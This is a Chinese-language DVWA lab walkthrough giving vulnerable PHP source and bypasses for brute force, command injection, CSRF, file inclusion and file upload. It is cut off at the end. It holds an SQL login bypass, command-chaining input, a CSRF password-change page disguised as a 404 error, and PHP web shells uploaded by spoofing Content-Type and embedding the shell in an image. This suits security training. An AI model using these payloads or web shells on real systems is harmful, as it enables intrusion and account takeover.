DVWA note

Note

  • 文中靶场链接只有搭建DVWA+开启服务器才能进入

    Brute Force

    Brute Force

Low

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法一

  • 查看源代码发现username存在注入漏洞
    1
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
  • username键入万能密码钥匙admin' OR '1'='1
    sql注入
  • 完成登录
    sql结果

    方法二

  • 使用BurpSuitePro截断Login请求
    截断
  • ctrl+i送到Intruder处理
    Intruder
  • Position模块中使用Clear清空变量后,选中要枚举的变量点击Add,同时把username改成admin
    选择变量
  • Attack type选择Sniper

    Sniper
    —>单参数: 依次枚举Payloads中的值
    —>多参数: 其他参数固定,对一个参数进行枚举,变化该参数
    Battering ram
    —>单参数: 同Sniper
    —>多参数: 每个参数使用同一个的密码,枚举密码
    Pitchfork
    —>单参数: 不支持
    —>多参数: 对应多组密码集,密码集一一对应枚举
    Cluster bomb
    —>单参数: 不支持
    —>多参数: 对应多组密码集,密码集一对多枚举

  • Payloads栏中选择枚举的密码集,此处我没有密码集,则直接输入可能的密码。
    设置密码集
  • 点击右上角的Start attack,找到Length最长的请求对应的Payload即为密码
    attack

    原理:正确密码错误密码返回的HTTP消息实体不一致,导致Content-Length大小不同

    Medium

    Code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?php

    if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
    // Get users details
    $row = mysqli_fetch_assoc( $result );
    $avatar = $row["avatar"];

    // Login successful
    $html .= "<p>Welcome to the password protected area {$user}</p>";
    $html .= "<img src=\"{$avatar}\" />";
    }
    else {
    // Login failed
    sleep( 2 );
    $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }

    ?>

    方法

  • 观察源代码发现,Sql注入被屏蔽
1
2
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

mysql_real_escape_string()函数会对字符串中的特殊符号进行转义,基本上能够抵御Sql注入攻击。
md5()函数对字符串进行校验,用校验值进行匹配,阻挡了Sql注入

  • 故此处使用BurpSuitePro爆破,方法同Low

    High

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

方法

  • 检查源代码发现在抵挡Sql注入的基础上,增加了令牌user_token来防止CSRF重放攻击
1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

原理: 在前台页面中放置一个隐藏域用于存放session中的token,当第一次提交时验证token相同后,会将session中的token信息更新,页面重复提交时,因为表单中的token值没有更新,所以提交失败。

  • 使用BurpSuitePro爆破passworduser_token
    Recursive grep: 递归匹配,每次从服务器的响应中获取user_token更新表单token
  • 选择passworduser_token作为枚举变量,Attack type选择Pitchfork
    枚举变量
  • 对第一个Payload set设置枚举的password
    password
  • 对于第二个Payload set选择Recursive grep模式
    选择模式
  • Option中,Request Engine设置线程为1Grep-Extract抓取令牌,在最后将Redirections-Follow redirections改为Always

线程

Recursive grep: 不支持多线程,需要把线程改为1

摘要

点击Refetch response刷新

重定向
总是接受重定向,保证多次攻击能够进行

  • Start attack开始攻击,选择length长度与众不同的
    start attack

    Impossible

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

参考

  • 加入user_token➡防止CSRF

    1
    2
    3
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    generateSessionToken();
  • 清洗两个输入➡防止Sql注入

    1
    2
    3
    4
    5
    6
    7
    8
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
  • 设置3次登陆失败后,需等待15分钟➡一定程度上防止爆破

    1
    2
    3
    $total_failed_login = 3;
    $lockout_time = 15;
    $account_locked = false;
  • 使用预备义语句和参数化查询,对于带有任何参数的sql语句都会被发送到数据库服务器解析➡防止Sql注入

    1
    2
    3
    4
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    Command Injection

    Command Injection

    Low

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

方法

  • 通过源代码发现代码存在命令注入漏洞,可直接输入命令执行

    1
    2
    $cmd = shell_exec( 'ping  ' . $target );
    $cmd = shell_exec( 'ping -c 4 ' . $target );
  • 输入127.0.0.1&+Your command
    注入

    &作连接符,表示前者运行后运行后者
    &&作逻辑运算,表示前者运行成功后后者才能运行

  • Submit提交,注入成功
    结果

    Medium

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

//Same as Low
...
?>

方法

  • 发现Medium的代码比Low多了排除&&;的部分

    1
    2
    3
    4
    5
    $substitutions = array(
    '&&' => '',
    ';' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    str_replace()函数返回替换后的结果,可导致&&;被剔除

  • 由于Low中使用的是&,并不会被屏蔽,故方法同Low

    High

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

//Same as Low
...
?>

方法

  • 仔细观察代码,发现新增了黑名单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $substitutions = array(
    '&' => '',
    ';' => '',
    '| ' => '',
    '-' => '',
    '$' => '',
    '(' => '',
    ')' => '',
    '`' => '',
    '||' => '',
    );
  • 其中对|的屏蔽后方多打了一个空格,导致|被漏掉,故从此下手
    注入
  • Submit提交后得到响应
    响应

    Impossible

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

参考

  • user_token检验➡防止CSRF

    1
    2
    3
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    generateSessionToken();
  • 拆分输入,重新组合➡防止Sql注入

    1
    2
    3
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    $octet = explode( ".", $target );

CSRF

CSRF

Low

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法

  • 通过 GET 请求上传需要修改的密码,只对确认密码是否与新密码相同进行判断。
  • 对密码进行转义字符过滤,未对 CSRF 做任何防御。

  • 由于链接名太过暴露,很容易被识别出来,于是使用短链接(短网址入口)将链接压缩。

1
2
3
4
5
#原链接
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#

#短链接
http://dwz-5.cn/1CpK
  • 访问短链接,即可完成密码修改(改成12345)。

  • 然而暴露的链接仍然不易被点击,于是第二种方法制造攻击页面,将链接伪造成一个404的页面,让客户端误以为网页出了问题。

1
2
3
4
5
6
7
8
9
<html>

<h1>404<h1>

<h2>File not found.<h2>

<a href="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#">Return</a>

</html>
  • 页面效果
  • 在这里插入图片描述

  • 点击Return按钮即可跳转到攻击页面。

注:此处本来使用 隐藏图片 形式,通过页面加载图片的形式访问攻击页面(代码如下),但刷新页面之后密码并未改变。

使用抓包工具测试,发现页面仍会请求链接。分析报文得知,点击式链接会自带Cookies,而隐藏图片访问时不会自动发送。

1
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#" border="0" style="display:none;"/>

Medium

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Same as Low
...
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
...
}

方法

  • Low的基础上增加了stripos函数,匹配HTTP报文中的REFERER参数($_SERVER[ 'HTTP_REFERER' ])是否包含HOST参数($_SERVER[ 'SERVER_NAME' ])。

HTTP_REFERER表示发送请求的来源;

SERVER_NAME表示配置默认的二级域名,不会是当前的域名;

HTTP_HOST才是当前的url头部;

HTTP_HOST = SERVER_NAME : SERVER_PORT

  • 同样使用GET请求的方法,不过在Low的基础上使用抓包工具修改报文。
  • HOST字段直接复制到REFERER,即可绕过匹配。

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Same as Medium
...
}
...
// Generate Anti-CSRF token
generateSessionToken();

?>

方法

  • Low基础上加入了Anti-CSRF token来进行身份验证。

token是服务端随机生成的一串字符串,作为客户端进行请求的一个标识。

服务器生成一个token并将此token返回给客户端,以后客户端只需带上这个token前来请求数据即可,无需再次带上用户名和密码。

  • 在页面隐藏元素中可以找到user_token
  • 在这里插入图片描述
  • 利用该token,将其加入链接变量中,即可通过token验证。

Impossible

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

  • High的基础上加入了现密码的匹配,导致攻击者无法伪造危险链接,从源头上杜绝了CSRF的发生。

File Inclusion

File Inclusion

Low

Code

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

方法

  • 从源码可以发现,文件打开时没有任何防护,可以直接运行服务器内和本地文件
    local
  • 1.php打印当前文件名
    1
    2
    3
    <?php 
    echo __file__;
    ?>
  • 打开远程文件

Medium

Code

1
2
3
4
5
6
	# Same as Low
...
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

方法

  • Low的基础上增加了远程访问屏蔽和目录穿越过滤,导致远程文件和穿越目录访问失败。
    webpage
  • 为了绕过过滤,这里使用双写,即将http:///中间加入一个http://,后者会被转换为空,则形成了完整的链接。
    在这里插入图片描述

    High

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

方法

  • fnmatch可以测试访问链接是否符合文件,于是发现本地调用仍然可行。

    Impossible

    Code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14

    <?php

    // The page we wish to display
    $file = $_GET[ 'page' ];

    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
    }

    ?>

    代码审计

  • 强行规定路径名称为合法文件名,无法进行本地调用和远程调用。

File Upload

File Upload

Low

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

方法

  • 可以看出这里没有做任何的防护,把非图片文件木马拖入也不会报错
    input在这里插入图片描述
  • 木马的区别

    1
    2
    3
    4
    5
    6
    7
    # 运行PHP函数
    eval($_REQUEST['cmd'])
    # 使用`Linux`系统命令
    system($_REQUEST['cmd'])
    # WebShell工具连接
    @eval($_POST['cheuhxg'])#PHP
    eval request("cheuhxg")#ASP
  • 访问../../hackable/uploads/可以找到对应传入文件
    uploads

    Medium

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
//Same as Low
...
?>

方法

  • 可以看出在Low的基础上增加了文件类型(image)和大小(100000Byte)的限制

    1
    ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 )
  • 上传get.php脚本,get.php使用工具连接

    1
    2
    3
    <?php
    @eval($_POST["cheuhxg"]);
    ?>
  • 使用BurpSuitePro修改Content-Type,使得脚本格式掩盖成image
    修改类型

  • 点击Forward发送,发现绕过成功
    成功
  • 使用中国蚁剑antSword连接这个webshell,目的达成
    antsword

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
//Same as Medium
...
?>

方法

  • 源代码进行了后缀检查,必须要符合jpg||jpeg||png

    1
    2
    3
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
    ( $uploaded_size < 100000 ) &&
    getimagesize( $uploaded_tmp ) )

    strrpos()函数找到字符串最后一次出现位置
    $uploaded_ext定义为最后一个后缀名
    getimagesize()函数获取图像文件大小

  • 这里用图片拼接木马传入
    拼接
  • 查看图片代码发现木马已经嵌入
    源代码

    注意控制图片大小

  • 传入图片,成功

传入

  • 按理说此时用antSword可以连接这个shell,但是总显示没连接上,存疑

    Impossible

    Code

1
2
3
4
5
6
7
8
